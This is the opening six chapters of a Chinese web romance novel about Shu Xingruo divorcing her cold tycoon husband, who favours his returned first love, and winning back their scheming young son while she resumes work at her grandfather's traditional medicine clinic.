《季总,太太要和别人订婚了》
第1章 这个男人她不要了
季宴礼喝的醉醺醺的回来,撞开房门,将坐在梳妆台前护肤的舒星若打横抱到床上。
舒星若雪白的手臂搂着他的脖颈,他奋力的吻她,仿佛要将她吞进去。
他撕开她的睡裙,动作粗暴又霸道。
细长的手指覆盖着她的手,健硕的身体不由分说的压了上来。
这是舒星若结婚六年以来,季宴礼第一次碰她。
她纤细的腰肢在他强劲的臂弯中几乎要被折断,她被他弄疼了。但是没有打断他,任凭着他折腾自己。
痛并幸福着。
这个俊朗如繁星的男人,她终于再次拥有了,她沉醉在他的怀抱中。
她希望,一生一世都是如此。
许久之后,季宴礼喘着粗重的呼吸躺在一旁。
迷糊中伸手揽她进怀里,嘴里低声喊着:“欣欣……”
舒星若的心沉入冰湖,原来他是将自己当成了何欣。
刚刚他对自己做的一切,应该是要对何欣做的。
舒星若的胃里一阵翻江倒海,这个男人脏得不能要了。
舒星若烦躁的推开季宴礼去洗澡,站在花洒下,六年来婚姻里的种种像海浪一样朝她袭来。
扑得她心痛得几乎窒息。
她蹲下身去放声痛哭,哭自己当初的一意孤行,是她当初非要嫁给这个男人,是她非要守着这个有名无实的婚姻。
以后她不会这么傻了。
她穿好衣服出来的时候,发现儿子季知许站在门外,他瞪着那双怯生生的大眼睛望着她:“妈妈,你怎么了?”
舒星若吸了一口气,强装镇定的说:“妈妈没事,就是有点不开心,许许去睡觉吧。”
季知许摇摇头:“妈妈,我要完成手头的活。”
半个月前他叫舒星若教他做中药手钏,说要送给一个重要的人。
明天是那人的生日,季知许要在今晚赶出来。
舒星若叮嘱道:“那你早点睡。”她自己去书房睡了,她现在看见季宴礼就觉得恶心。
翌日早上,季宴礼看到舒星若从书房出来。
他的眸中寒光逼人:“舒星若,你又想折腾什么?”
舒星若上下打量了他一番,眼带鄙视的说道:“没什么,我不想当何欣的替身。”
季宴礼气得双手叉腰:“你一天不提她会死吗?”
舒星若回敬了他一个冰冷的眼神:“以后都不会提了。”
上个月何欣回国,季宴礼带着一大群保镖助理去机场接她,高调得上了热搜。
#季氏集团总裁机场亲迎白月光
舒星若看到那条新闻,气得给季宴礼打了十几个电话,他一个都没有接。
当天晚上,他为了给何欣接风,也没有回家。
再见到他,已经是三天后,舒星若问他:“你那么高调的去接何欣,把我当什么了?”
季宴礼的俊脸冷若坚冰:“你能跟她比吗?她是我的救命恩人。”
舒星若冷笑:“既然是救命恩人,你为什么不以身相许?你娶我做什么?”
季宴礼当场黑脸:“舒星若,当年的事你别以为我忘了,不是你下药爬床,我妈能逼着我娶你吗?”
舒星若气得俏脸通红:“我都说了无数次了,那杯酒是何欣的朋友递给我的。”
季宴礼冷冷的说道:“没有一个女人,会把别的女人送上男朋友的床。”
这件事缠绕了舒星若很多年,她始终想不通,何欣的朋友为什么要害她。
餐桌上的气氛非常沉闷,没有人说话,三人各自吃着东西。
季知许吃完以后,拿出一个丝绒盒子,里面放的是他昨晚熬夜做的中药手钏。
“爸爸,帮我送给欣欣阿姨,这可是我熬了半个月做的,你让欣欣一定要每天戴着。祝她生日快乐。”
舒星若手上的杯子“嘭”的一声掉了下来,原来他做了半个月就是为了给何欣送生日礼物。
果然生了个好儿子!
舒星若自嘲的笑了。
季宴礼斜睨了舒星若一眼,对她的失态并不在意。
柔声对儿子说:“许许真乖,欣欣阿姨一定会喜欢。”将礼物收进自己的包里。
季宴礼吃完饭去上班了,季知许安慰妈妈:“妈妈,我是为了哄爸爸开心才送她手钏的。你下个月生日,我记着呢,我送你一份更好的礼物。”
舒星若摸摸他的头,轻声说道:“许许每天开开心心的,就是妈妈最好的礼物。”
季知许说:“妈妈,我知道你昨天晚上哭了,不要哭,要笑才漂亮。”
舒星若被天真的儿子逗笑,她问背好书包的季知许,“要是爸爸妈妈离婚,你跟谁?”
季知许愣神,眼泪已经在眼眶里打转:“妈妈,你和爸爸非要离婚吗?我不想你们离婚。”
舒星若轻轻拍了拍他:“妈妈真的要离婚了,你想跟谁?”
季知许擦了擦眼泪:“我跟爸爸。”
舒星若的心猛地抽紧,痛得无法呼吸,她强忍着不让眼泪掉下来。
吩咐司机送季知许上学了。
舒星若给闺蜜林安禾打电话,林安禾是一名离婚律师:“我要跟季宴礼离婚,帮我拟一份离婚协议。”
林安禾叹气:“你们最终还是走到了这一步。”她清楚的了解舒星若这些年的婚姻状况,十分心疼她。
舒星若的心已经麻木,这一场婚姻本来就是个错误。
当年何欣的港城生日宴上,舒星若接过一杯何欣闺蜜递的酒,喝完以后她就被送到了季宴礼的床上。
季宴礼也被下了药,那天晚上他们浑身湿透。也就是那晚她有了季知许。
事后所有的证据都指向舒星若,是她处心积虑的设计了整件事。
舒星若极力争辩,何欣哭着说:“没有一个女人会把别的女人,送到自己男朋友的床上。”
从此季宴礼恨舒星若入骨,是她毁了自己的初恋。
事后,在季宴礼母亲韦瑛的逼迫下,他不得不娶了舒星若。
“你都毁了人家的清白,而且星若是个好姑娘,你要是不娶她我就不认你。”
季宴礼只愿在港城登记结婚,也没有办婚礼,海市至今很少有人知道他结过婚。
注册登记后的第二天季宴礼出了严重的车祸,被一辆大货车撞了。
何欣赶到现场叫了救护车,救了他一命。
车祸以后季宴礼命是捡回来了,但他坐上了轮椅,医生说双腿恢复的机会渺茫。
第2章 请签收离婚协议
季宴礼觉得生无可恋,每天颓废消沉。对舒星若大发脾气,舒星若爱他如命。要是这个时候离开他了,她舍不得他沉沦。
她帮他针灸、按摩、配药、食补,用上了毕生所学,花了整整一年让他重新站了起来。
但是无论她对季宴礼怎么掏心掏肺,季宴礼始终不肯原谅她。
他觉得舒星若心机深重,不配得到他的爱。
六年的婚姻里,他们像两个住在同一屋檐下的陌生人,季宴礼倒是工作完就回家,没有在外面找女人,对那些投怀送抱的女人严词拒绝,对儿子也很好。
舒星若常常想,也许久了,他的心会捂热的。
直到一个月前。
一个月前,何欣从国外回来了,她说:“阿礼,我原谅你的背叛了,我们重新开始好不好?”
季宴礼没有回答她的问题,但是对何欣有求必应。
从那之后,季宴礼就开始很少回家,陪何欣逛街、看房子、买车……还时常带着儿子去见何欣。
林安禾很快拟好了离婚协议书发给舒星若,她对季宴礼的财产没有觊觎,这些年季宴礼在物质上没有亏待过她。
衣食住行样样都是最好的,珠宝奢侈品她想买就买。
每个月还会给她一百万零花,林安禾去国外深造的学费都是她出的。
舒星若将自己常用的东西收拾了,珠宝首饰通通带走,离婚协议打印出来装在信封里交给了刘管家。
“先生回来的时候,你把这个给他。”
她提着行李回了娘家。
准确的说是她外公外婆家,她自打记事以来身边只有外公外婆。
妈妈舒月被闺蜜插足愤而离婚,离婚后发现自己怀孕了。
离婚后舒月重度抑郁,生下她之后,症状越来越严重,在她三岁时跳楼自杀了。
而那个插足的闺蜜正是何欣的妈妈田玉芬。
田玉芬当年是以肚逼婚,舒月的眼里容不得沙子,果断离婚了。
人前虽然坚强,但她接受不了来自闺蜜和爱人的双重背叛,终日郁郁寡欢,就连她父亲舒延兆这个中医圣手都束手无策。
外婆宁可芳见舒星若提着行李回来,问道:“若若,你这是做什么?”
舒星若小声说道:“我要和季宴礼离婚了,先搬回来住。”
宁可芳心疼的抱住她:“好孩子,那个男人就是块茅坑里的石头,不要也罢。”
结婚六年,季宴礼从来没陪舒星若回过娘家,每次都是她自己带着孩子回来。
宁可芳打心底的讨厌季宴礼。
她放开舒星若,又问道:“许许怎么没跟你一起回来?”
舒星若吸了吸鼻子,“他说他要跟爸爸。”
宁可芳更加心疼舒星若,当场落泪:“季知许这孩子果然是他们季家的种,心也硬得很。”
她知道季知许对舒星若有多重要,从小到大,他所有的事她都是亲力亲为。
她放弃了事业,就想将他养得健康快乐,到头来换来一句“我跟爸爸。”
这句话将舒星若伤得体无完肤。
晚上,季宴礼带着季知许给何欣过生日。
何欣的父母还在港城,没有过来。
整个生日宴都是季宴礼找人筹办的,在五星级酒店的宴会厅。现场铺满了何欣喜欢的大丽花,全都是一早空运来的。
现场请了很多商界名流,还有何欣的好朋友尤红娜,就是她当年递给舒星若的那杯酒。
尤红娜在后台对季宴礼说:“季总,要不是舒星若当年设计,今天欣欣就是季太太了。”
季宴礼没有说话,他暂时还不想跟舒星若离婚,毕竟他的腿是她治好的。
舒星若算是给了他第二次生命。
季知许听到这话很不高兴,心里盘算着等下怎么整尤红娜。
到了宴会厅,季知许故意扑倒尤红娜,尤红娜整个身子不稳,倒了下去。她胖胖的身体她撞到了香槟塔,哗的一声,犹如催古拉崩,香槟塔坍塌。
尤红娜浑身湿透,手也被玻璃碎片扎伤了,整个人狼狈不堪。
还没等尤红娜发难,季知许忙哭了起来:“对不起,欣欣阿姨对不起,是我不好不小心撞到了胖阿姨。”
尤红娜说:“明明是你故意扑倒我的。”
季知许一边哭一边说:“胖阿姨,对不起,我刚刚没站稳,我真的不是故意的。”
季宴礼在前面听到了动静,赶紧走到季知许跟前,蹲下来哄他:“没事,不就一座香槟塔,你没受伤就好了。”
何欣脸色发白,本来她还想开场的时候倒香槟,现在全毁了。
临时叫人搭又来不及了,她又不好责怪季知许,识相的安慰季知许:“许许,没事,阿姨不怪你。”
尤红娜没带备用衣服,只好提前走了,她瞟了一眼季知许,他还在那里抽泣内疚。
尤红娜想也许是自己想多了,这就是个意外。
到了出场环节,何欣穿着新一季的高奢礼服,脖颈中带着价值百万的项链,挽着季宴礼的胳膊出场。
季宴礼俊朗挺拔,又是季氏集团的掌权人,人人都羡慕何欣找了这样的男朋友。
各路人士纷纷送上礼物和祝福,整晚下来,何欣被捧得像个小公主。
给何欣过完生日的季宴礼回到家,刘管家将信封交给他,“太太临走前让我交给您的。”
季宴礼蹙眉,最近一个月他只要回来,舒星若一直跟他闹脾气,不是不理他就是阴阳怪气。
他没有接信封,直接说:“扔了。”
刘管家迟疑道:“先生,太太今天是提着行李箱走的。”
季宴礼冷漠的说:“不用管她。”
季知许觉得不对劲,一边跑上楼一边喊:“妈妈,我回来了。”
没有人回应他,他找遍了所有的房间也没有发现舒星若。
他从小到大,舒星若从来没离开过他。
他赶紧拿手机给舒星若打电话,舒星若没有接,她想尽快的跟儿子做切割,长痛不如短痛。
季知许哭着跑下来:“爸爸,妈妈离家出走了,她的东西不见了,我给她打电话她也不接。”
季宴礼俯身抱起他,帮他擦掉眼泪:“男子汉不准哭,你妈妈最近情绪不好,她过几天就回来了。”
季知许摇头:“才不是呢,妈妈今天早上说你们要离婚了。”
“离婚?”
第3章 拒绝带儿子
季宴礼转念一想平时舒星若对自己的态度,千依百顺又温柔体贴,就算他去机场接何欣,她也没有提过离婚、
他心想,“舒星若恨不得永远霸着季太太的位置,她会舍得离婚?绝对不可能。”
他安慰季知许:“放心吧,你妈妈不会舍得离开我们的。”
季知许的大眼睛哭得又红又肿,惨兮兮的望着季宴礼:“爸爸,你把妈妈哄回来吧。”
季宴礼眉头拧紧,他可不会去哄那个女人。
“你先洗澡睡觉吧!”
随后吩咐保姆张阿姨带他去洗澡。
上床后季知许又闹着讲睡前故事,“妈妈每天都给我讲故事,爸爸,我想妈妈了。”
季宴礼从书房拿出一本书给他讲,季知许嫌弃:“爸爸,你像AI一样,讲得一点也不生动,我还是找妈妈吧!”
他又给舒星若打电话,还是没有接。
季知许哭丧着脸跑到季宴礼房间,跟他说:“爸爸,你要快点把妈妈找回来,不然我的心就碎了。”
季宴礼说:“你妈妈不出三天就会回来的,她舍不得我们。”
听到这个,他才安心的去睡觉。
这边舒延兆从药堂回了家,舒星若正在房间里看药理的书。
舒延兆问她:“若若,你今后有什么打算?”
舒星若放下书,“外公,我想回行止堂上班,可以吗?”
舒星若的这个决定,舒延兆再高兴不过了,他这一身医术至今没找到合适的传承人。
舒星若天赋极高,小时候看他开药方都能学个一二,只是这些年结婚生子给耽搁了,现在继续学也不晚。
晚上舒星若失眠了,这是她第一次晚上没有陪着季知许,心上像被剜掉了一块肉。拿起手机看季知许的视频,越看越伤心。
放下手机,她索性起来看书,一直到凌晨三点才有了些许困意,躺下睡觉了。
早上舒星若是被季宴礼的电话吵醒的,她本能的想去接。
以前季宴礼从来不给她打电话,都是她打过去的。
舒星若的手在空中顿了顿,按了挂断键。
季宴礼又打,舒星若继续挂断。第三次挂断之后,她在想要不要把他拉黑,省得烦。只是离婚协议他还没签,后面还得找他,才没有拉黑。
季宴礼发来信息:【许许发高烧,一直喊着妈妈,你快点回来。】
舒星若回:【生病了就去医院,我没空。】她不是不心疼儿子,季知许太让她心痛了。
季宴礼打过来电话,舒星若这次接了,“舒星若,你怎么回事?儿子生病了你也不回来?”
舒星若不再是从前那副温柔如水的样子,她冷冷的说:“我有事,儿子又不是我一个人的,你也可以照顾。”
季宴礼不耐烦的说道:“你就不能不作了吗?我上午还有个重要的会议。”
舒星若没有理他,直接挂了电话。
起床洗漱,换了身月白色的改良旗袍,头发挽了起来,她眉眼弯弯,小小的一张鹅蛋脸,挺拔秀气的鼻子,整个人温婉又大气。
她坐舒延兆的车去行止堂,舒星若的位置一大早已经安排人收拾出来了。
刚坐下不久,一位面容发黄的中年女士来看诊,“大夫,我睡不着,吃安眠药也就睡三个小时,头快痛死了。”她整个人看起来颓靡又沮丧。
舒星若伸出纤长的手指搭脉,双手的脉都号了一遍,又看了看她的舌苔,问了一些问题。
随后说道:“您心火旺盛,肾水不足,思虑过度了。”
女士说:“有没有办法治?”
舒星若答:“我先给您针灸一遍,开三副药回去吃。三天后您再来找我,平时心放宽一些。”
女士叹气道:“我儿子过年的时候带了个男朋友回家,我是坚决不同意,年都没有过好。我以为他俩分开了,最近居然说要一起买房,过日子,你说我头大不大?”
舒星若安排她在针灸床上躺下,给她扎了针,顺便劝道:“您着急上火也改变不了什么,不如顺其自然。”
这边季宴礼没有再给舒星若打电话,他叹气着让刘管家和张阿姨带季知许去看病。
自己去公司开会。
季知许沙哑着嗓子说道:“爸爸,我要欣欣阿姨陪。”
季宴礼打电话通知何欣过来,何欣到医院的时候,季知许已经躺在床上打点滴了。
小脸烧得红红的,躺在床上看起来特别可怜。
季知许看见何欣很开心:“欣欣阿姨,你终于来了。”
季知许让刘管家他们都回去,只要何欣单独陪着。
人都走了以后,他说:“欣欣阿姨,我要喝水,医院里没有我爱喝的依云。你去GA商场给我买吧。”
GA商场离医院十多公里,何欣不想去,季知许自怨自艾的说道:“欣欣阿姨,我难受死了,你就去帮我买一下吧。爸爸说,欣欣阿姨特别会照顾人,比我妈妈还厉害。”
何欣只好硬着头皮去买。
等何欣买完水回来,季知许的针管回了一点血,吓得她赶紧叫护士,季知许崩溃大哭:“我是不是要死了?”哭声简直震天动地。
声音大得引来其他人议论纷纷,“怎么能把这么小的孩子丢在医院?”
“这一看就是后妈,不是自己的孩子不疼。”
“对呀,孩子打吊针她还到处乱逛,太不负责了,看把孩子吓的。”
……
护士长忙安慰哭得上气不接下气的季知许:“小朋友,没关系,阿姨帮你弄好了,不会有事的。”转头训斥何欣:“你看孩子就不要乱跑,回血很危险的。出了事谁来负责?”
何欣:“……”
打完点滴之后何欣要送季知许回去,他说:“欣欣阿姨,我肚子饿了,肚子饿了坐车会晕车的。你去帮我买点吃的吧,我想吃广记的虾饺。”
广记茶楼离医院二十公里,何欣头都大了。她想拒绝,抬头就看见季知许可怜巴巴的眼神,只好去买。
季宴礼开完会以后直奔医院,看见季知许一个人躺在病床上玩平板,有些生气:“怎么就你一个人?你欣欣阿姨呢?”
第4章 给你换个妈妈
季知许语气哽咽的说:“欣欣阿姨出去了,她丢下我一个人不管。爸爸,我一个人在医院好害怕,我刚刚还差点死掉了。”说完,眼泪跟断线的珠子似的,大颗大颗的掉。
“差点死了?怎么回事?”季宴礼心突突的跳。
护士长见到季宴礼说道:“你是孩子爸爸吧?他那个后妈靠不住,看孩子不好好看,总是不见人影。你看,又不知道跑哪去了?刚刚弄得孩子回血了,还好我们及时发现,才没酿成大祸。”
恰好何欣此时提着虾饺回来,季宴礼责怪的说:“你来医院照顾孩子,怎么把他一个人丢在这里?”
何欣一直被季知许支使着跑来跑去,憋了一肚子气,“是许许说要吃虾饺让我买的,我才出去的。”
季知许在一旁不说话,只委屈巴巴的看着脸色黑沉的季宴礼,他在等季宴礼发火。
还没等他发火,何欣看到季宴礼脸色不对,声音软了下来,带着哭腔说:“阿礼,是我不好,没有照顾好许许,我下次一定更用心的。”
季宴礼被她弄得心软,伸手要去抱何欣,季知许起身拦住:“爸爸,你不要责怪欣欣阿姨,都是我不好,要喝水要吃饭,才让管子回血的。”
他说完又开始掉眼泪,他皮肤白嫩,一哭就显得特别无辜又可怜,揪得季宴礼心疼。
季宴礼忙抱起他安慰:“不哭了,爸爸这就带你去吃饭。”
何欣看了一眼躲在季宴礼怀里的季知许,这孩子怎么突然变了?
舒星若上午看了两个病人,后面都跟着舒延兆学习。
中医博大精深,舒延兆打算把毕生所学全部传授给她。
舒星若虽然这些年在家,但是基本功没有丢掉。加上她天赋好,学起来并不费劲。
中午她约了林安禾一起吃饭,刚走进餐厅就看到季宴礼带着何欣和季知许在吃饭。
何欣在给季知许夹菜,手上戴着季知许给她做的手链。舒星若觉得格外的刺眼。
季宴礼帮何欣倒果汁,三人有说有笑的。
何欣样貌清秀,季宴礼五官精致,季知许小脸俊美。
他们看起来俨然一家三口的样子。
结婚以后,季宴礼从来没有带舒星若出来吃过饭,他只会单独带儿子出来。
林安禾白眼快翻到天上去了:“真是不要脸,还没离婚就带着小三出来招摇过市。”
舒星若淡定的坐下来,说道:“季宴礼早就不想跟我过了,他逼我提出离婚,他就没有心里负担了。”季宴礼这些年对舒星若很冷淡,但是记着她治腿的恩情,只在物质上善待她。
林安禾伸出手指戳她的额头:“就你这个傻瓜不要他的东西,他季家那么有钱,随便给点你都财富自由了。”
舒星若喝了口水说道:“不是我不要,我们有婚前协议,公司的财产跟我无关。”
林安禾叹了口气:“便宜了那个小三。”
菜陆续上来了,两人边吃边聊天。
林安禾开始讲她今天开庭的案子。
她当事人年轻貌美,老公帅气多金,送她去读EMBA,经常接送她。
接送了一段时间,老公竟然跟EMBA的老师好上了,关键是那个老师快六十了。
跟男人的亲妈差不多大年龄,亲妈又是劝又是骂,一点用都没有。
亲妈亲自带着儿媳妇来找林安禾起诉离婚,今天开庭整个法庭都是亲妈的骂声。
林安禾说:“那男的是真的饿了,放着家里如花似玉的老婆不要,跟一个老太太爱得惊天动地,我算是长见识了。”
对于这么匪夷所思的事情,舒星若只能感慨世界之大无奇不有,两人说笑着,那边的三位吃完出来了。
季知许第一眼就看见了舒星若,一溜烟的跑过来,“妈妈!”
边喊边往舒星若的怀里扑,舒星若躲开了,季知许很伤心:“妈妈,你不要我了吗?”
舒星若说:“你说过你要跟爸爸的。”
季宴礼蹙眉:“舒星若,你有必要对孩子这么苛刻吗?”
舒星若站起身来,指了指他身边的何欣,冷冷的说道:“他不缺人疼。”
季宴礼还要说什么,舒星若拉着林安禾走了。
她不想跟他在何欣面前吵架,让那个女人平白无故看笑话。
她现在就等着他把离婚协议签了,尽快离婚。
林安禾提醒她:“要是他一直不签字呢?”
舒星若说:“我们在港城注册的,你有没有办法?”
林安禾想了想说:“申请分居吧,分居一年半就自动离了。”
“好!”
最坏也就等一年半,这个结果她接受。六年的婚姻她只当做了一场噩梦。
回到车上的何欣问季宴礼,“阿礼,你打算离婚吗?”
季宴礼还未开口,季知许便开始嚎啕大哭,“我不要爸爸妈妈离婚,我不要当孤寡儿童。别人都有爸爸妈妈,为什么我的爸爸妈妈要分开?”
季知许一边哭一边瞟季宴礼的脸色,季宴礼耐着性子说:“爸爸妈妈没有感情,分开也是正常。”
何欣听到这句话喜上眉梢,忙说到:“对呀。你不是说你喜欢欣欣阿姨吗?欣欣阿姨给你当妈妈还不好?”
季知许抽泣着说道:“不好,我有妈妈。欣欣阿姨你不能给人当后妈的,会笑死人的,笑你当小三,抢别人的老公。”他说完,扁了扁小嘴,努力的挤眼泪,让自己看起来更可怜一点。
季宴礼脸色沉了下去,“这话谁告诉你的,你妈?”
何欣的眼里开始酝酿眼泪,“阿礼,我知道她不喜欢我,也不能在孩子面前说我坏话啊,我是真的喜欢许许。而且当年明明是她算计你的。”
季知许立刻反驳:“我妈妈才没有说你坏话,她会给我做很多好吃的,还给我讲好听的故事。她每天不是照顾我就是看书,没空讲你的坏话。”
季宴礼安慰何欣:“舒星若确实很会带孩子,许许暂时接受不了你,慢慢来。”
何欣看了一眼安全座椅上的季知许,心里生出一个念头来。
不就是孩子吗?她也可以生。
第5章 只要妈妈
到家之后,季知许下车,何欣柔弱的说:“阿礼,你送我回去吧!”
季知许不让,“爸爸,妈妈不在家,我一个人害怕,我要你陪我。”他家有保姆有管家都一大堆人,季宴礼不知道这一个人从何说起。
季宴礼说:“你乖,爸爸送欣欣阿姨回家,顺便去上班。”
季知许还是不同意,开始胡搅蛮缠:“不嘛,我就是要爸爸陪。”
季宴礼只好让司机送何欣回去,季宴礼将他送到房间,看这他午睡了,自己才回公司。
季宴礼走了以后,季只许马上睁开眼睛,他舒星若发信息:【妈妈,那个女人今天问我要不要当我妈妈。你快回家吧,再不回家爸爸就被抢走了。】
舒星若看了这条信息不明白什么意思,季知许不是很喜欢何欣吗?怎么担心她抢走季宴礼?
不过她现在没有时间管这些,来了一位女病人叫褚茗。
她诉说自己一直要不上孩子,去医院做了几次试管都生化了。中药喝了一大堆,吃了很多苦依然怀不上。
听人说舒老中医看病好,抱着试试看的心态来了。
舒星若给她双手都号了脉,没有任何问题。她惊异,怎么会有这样的事?
赶紧带褚茗去找舒延兆,舒延兆轻轻搭脉,过了一会说道:“虚寒,滞血淤。”
“虚寒?”舒星若震惊:“明明没有迟脉和涩脉啊?”
舒延兆说:“她这个脉象比较奇特,几十万人中有有一例,你仔细再号号。”
舒星若问褚茗:“您方便给我再号一下脉吗?”
褚茗好说话,让舒星若继续号了,舒延兆说:“你得心静,是不是迟中带涩?”
舒星若又仔细号了很久,点点头。
褚茗开口问道:“那我这有希望怀孕吗?”
舒延兆说:“我先把你这虚寒和滞血淤治了,到那时怀不上再来找我。”
他写了一个方子,开了七天的药,每天喝两副。
舒星若领着她去抓药,褚茗说:“要是怀上了,我给你们送锦旗。”
舒星若从抽屉里拿出一盒巧克力给她:“这药苦,你喝完吃一颗。备孕辛苦,不要压力太大。”
褚茗道了谢往外走,却见到一个相貌俊美的小男孩站在前面,褚茗只觉得他十分眼熟。
回头看看舒星若,两人长得有些相似。
这孩子正是季知许。
季知许委屈的扑进舒星若的怀里,这次她没有躲,像往常一样抱着他。
褚茗问:“这是你儿子吗?”
舒星若点点头,褚茗羡慕的说:“我要生个这么漂亮的孩子就好了,哎,不漂亮也没事,只要能生就好。”
季知许说:“阿姨,你一定会生个漂亮孩子的。”
褚茗开心的走了。
舒星若将季知许带入内堂,问他:“你怎么来了?生病了在家好好休息。”
季知许趴在舒星若怀里不肯松手:“妈妈,我不想当无间道了,我想跟着你。”
舒星若蹙眉:“无间道?”
“嗯,”他点点头,“我怕爸爸被那个坏女人抢走,就假装喜欢她。爸爸每次去见她,我都要跟去,搞一搞破坏。我讨厌他们搂搂抱抱,坚决不让。真不害臊,在小孩子面前搞这种事情。那天你问我跟谁,我其实想跟你,我说跟爸爸,就是不想他跟那个女人好过。天天看着让人讨厌。”
舒星若被儿子逗笑,又觉得一阵心酸,失败的婚姻,害得儿子小小年纪就背了这么大的压力。
“是妈妈不好,竟然没看出来你有这样的想法。以后许许无论做什么妈妈都相信你了。”
她忽然想起什么:“你是不是往何欣的手链里加东西了?”
季知许点点头。
她家书房里有本药书,季知许识字量巨大,没事就看,发现了曼珠沙华能让人致幻。
他天真的以为何欣戴着戴着就会发疯,发疯了以后就不会来抢他爸爸了。
舒星若说:“许许,你是小朋友不能干这样的事。爸爸不爱妈妈,我们分开也是正常。爸爸家很有钱,如果你跟着妈妈,将来可能没有那么多钱,我怕你长大会后悔。”
季知许握紧小拳头,坚定的说:“妈妈,有你我才快乐。没关系,我会打电话找爸爸要钱,他不给我,我就上网发视频控诉他。气死他。”
舒星若想不到儿子小小年纪,竟然一肚子鬼点子,她养育了五年的儿子总算没有辜负她,心里痛快了很多。
但是她又担心季宴礼来抢抚养权,季家财大气粗,她抢不过。
舒星若打算好好的规划一下自己的事业,在离婚中有底气。
季知许没有换洗衣物,下班以后舒星若带他回季家别墅去拿。
收拾了一会,提着箱子出来的时候季宴礼刚好回来,从阿斯顿马丁上下来。
他身形修长,气场强大,凤眼看了一眼舒星若问道:“你要带儿子去旅行?”
舒星若说:“回我家去住。”
季宴礼逼近,眼神直勾勾的盯着她:“这里不是你的家吗?”
舒星若避开他灼热的目光:“以后就不是了。”
季宴礼丢下一句“玩过火了以后别后悔。”径直往家里走。
季知许让舒星若先上车,他说有话要跟季宴礼说。
舒星若走了以后,季知许问季宴礼:“爸爸,你是不是傻?妈妈既漂亮又温柔,你为什么不爱她?”
季宴礼有点无语:“爸爸不喜欢心机深重的女人,你还小,不会明白我的感受。”
季知许摇摇头:“没心机的人不就是白痴吗,难道你喜欢白痴?”
季宴礼脸色越来越难看:“你妈都教了你些什么?小孩子不许胡说八道。”
季知许像看傻子一样的看他爸,摇着头走了。
季知许刚走到车前,舒星若准备开门,何欣却走了过来。
以往季知许看见何欣就会热情的喊她,今天冷若冰霜,仿佛不认识她。
何欣眉心一跳,这孩子可能会成为季宴礼离婚的大障碍。
她挑衅的对舒星若说:“你不要以为你有孩子就有王牌在手里,我也能替阿礼生孩子。他说只要我愿意,我们就能回到从前。”
第6章 这是我们夫妻之间的事
换作一个月前的舒星若听到这话会气炸了,现在她眼中平静无波,“哦,那你就去生呗。提醒你一句,我们还没离婚,你现在生的叫私生子。”
何欣脸色发白,牙咬得咯咯响:“你听着,阿礼从来没爱过你,你还霸着季太太的名号没有意义。”
舒星若冷冷的扫了她一眼,眼带鄙视的说:“我霸不霸的是我们夫妻两个的事,与你一个外人无关。”
季知许伸出大拇指给舒星若点了个赞。
“妈妈,你真棒!”
何欣气得快背过去了,一会她就去拿下季宴礼,毕竟她是他的白月光。
上车之后,季知许担忧的问:“妈妈,她去抢爸爸了,你就不担心吗?”
舒星若边开车边说:“我不要你爸爸了,谁爱要谁要去。妈妈现在只要能把你要过来就行了。”
他有些伤心:“我还是想要既有爸爸又有妈妈的家。”
舒星若安慰他:“许许,大人们也有自己的生活,你只要记住,我们虽然分开了,但是还会像从前一样的爱你就行了。”
季知许摇头:“不对,妈妈肯定会继续爱我。但是爸爸,那个女人要给他再生个孩子,他肯定就没那么爱我了。”
舒星若没有反驳,何欣是季宴礼的白月光,离婚之后他们肯定会有自己的孩子的。
季知许想起何欣去找季宴礼,赶紧给季宴礼打视频,“爸爸,你在干什么?”
何欣正在跟季宴礼诉衷肠,冷不丁的被季知许打断了。
“我在和欣欣阿姨聊天,你要不要和她聊一下?”
季知许气鼓鼓的说:“我才不要,刚刚她在门口嘲笑妈妈,这事你管不管?”
舒星若不希望季知许参合到这场离婚之中,忙说:“许许,大人的事你不要管。”
何欣忙否认,声音细软温柔:“阿礼,你是知道我的,我一向与人为善,当年发生那件事我都没有骂过她。”
季宴礼觉得何欣说得有道理,斥责季知许:“欣欣阿姨怎么会嘲笑你妈妈,别胡说八道了。我这还有事,先挂了。”
季知许小脸气得通红,“爸爸,真是见色忘子。”
挂了视频以后,舒星若劝说季知许:“许许,爸爸有他的私生活,以后你不用去管他的事。你想啊,你一管就生气,生气了不利于你的小脑瓜子发育。你还要长成聪明可爱的小天才呢。”
季知许双手交叉放在胸前,不甘心的说道:“妈妈,我就要管,我不生气就是了。“”
回到家里,季知许这个鬼灵精就冲进宁可芳的怀里,“太奶奶,我想死你了。”
宁可芳不动声色的躲开他,冷漠的说道:“吃饭了。”转身去厨房帮王阿姨一起端菜。
舒星若跟了进来,向宁可芳说了季知许最近的行为。
宁可芳惊得差点咬到舌头,“这……这一个五岁的孩子能干这么多事?”
舒星若点头:“可不是呢,鬼主意多得很。”
宁可芳立刻走到餐厅,搂着季知许道歉:“许许,对不起,刚刚太奶奶误会你了,我向你道歉。”
季知许像个小大人似的轻拍宁可芳的背:“没关系,我原谅太奶奶啦!”
舒延兆从书房里出来,季知许亲热的抱着他的腿叫太爷爷,舒延兆慈爱的摸了摸他的头。
饭桌上,他有些担忧的问舒星若:“季家会舍得把他给你?”季知许长得好看,脑子又聪明,还是季家唯一的小辈,季家大概率不会放手。
舒星若心里也没底:“不知道,所以我打算创业,提高自己的经济实力,多一份筹码。”
舒延兆沉思片刻道:“吃完饭,你跟我来一趟书房。”
书房里,舒延兆打开保险箱,他从里面拿出三张秘方递给舒星若。舒星若看了,脸上喜不自胜。
这三张方子分别是顽固失眠、产后气虚和男子不举。
方子是舒家祖上一直传下来的,据说是当年宫里带出来的。一直没做成成药是因为兵荒马乱,传到了舒延兆手里,他自认为自己没有经商的天赋。
别没把药制出来,自己家祖传的医术也荒废了。
事情便一直耽搁下来了。
舒星若这些年一直没有停过要方研究,她手里积攒了十几个方子,但是具体没有实验数据支撑,还得进一步研究。
舒延兆问她:“你手里有多少资金?”
“不到四千万。”这些年季宴礼给她的家用,除了资助了林安禾读书,其他没怎么花。平时买东西一直刷的季宴礼的卡。
舒星若从季家走的时候将所有珠宝带了出来,应该还值几千万。过几天去把那些包收拾了卖给二奢,应该还有几百万。
但是距离设厂的一到两亿的资金预算,远远不够。
舒延兆不了解制药厂的投资,他说:“我手里有五百万左右,你全都拿去。”
舒延兆虽然是名医,但他收费不贵,他想保证人人都能看得起病,因此几十年才攒下这么多。
舒星若摇头:“这是您和外婆的养老钱,我不能拿。做生意有风险,其他的资金我想办法筹集。”
从书房出来,季知许已经自己洗完澡躺床上了,他说:“妈妈,我以后要自力更生,你好好的做事业,让爸爸后悔去吧。”
舒星若看到他那张粉脸就愁苦全无,“你爸爸不爱妈妈,他不会后悔的。我们呢,只要过好自己的日子就行。”
